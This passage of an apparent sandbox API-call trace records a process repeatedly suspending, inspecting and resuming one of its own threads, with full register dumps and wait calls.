[0117.969] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000146ba8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0118.312] ResumeThread (hThread=0x130) returned 0x1
[0118.312] CloseHandle (hObject=0x130) returned 1
[0118.312] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0118.524] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0118.524] SuspendThread (hThread=0x130) returned 0x0
[0118.544] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ffa18, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12ce058, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0118.729] ResumeThread (hThread=0x130) returned 0x1
[0118.729] CloseHandle (hObject=0x130) returned 1
[0118.729] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0118.804] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.015] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.124] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.192] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.260] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.333] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.399] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.467] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.535] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.602] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.670] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.737] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.804] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.896] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0119.964] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.054] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.121] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.189] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.257] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.330] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.397] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.490] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.559] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.639] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.716] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0120.716] SuspendThread (hThread=0x130) returned 0x0
[0120.716] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001471f0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12c1ca0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0120.909] ResumeThread (hThread=0x130) returned 0x1
[0120.909] CloseHandle (hObject=0x130) returned 1
[0120.909] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0120.996] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0120.996] SuspendThread (hThread=0x130) returned 0x0
[0120.996] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147198, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12c2160, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0121.210] ResumeThread (hThread=0x130) returned 0x1
[0121.210] CloseHandle (hObject=0x130) returned 1
[0121.210] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0121.294] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0121.294] SuspendThread (hThread=0x130) returned 0x0
[0121.294] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10293, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147178, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12b9520, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, 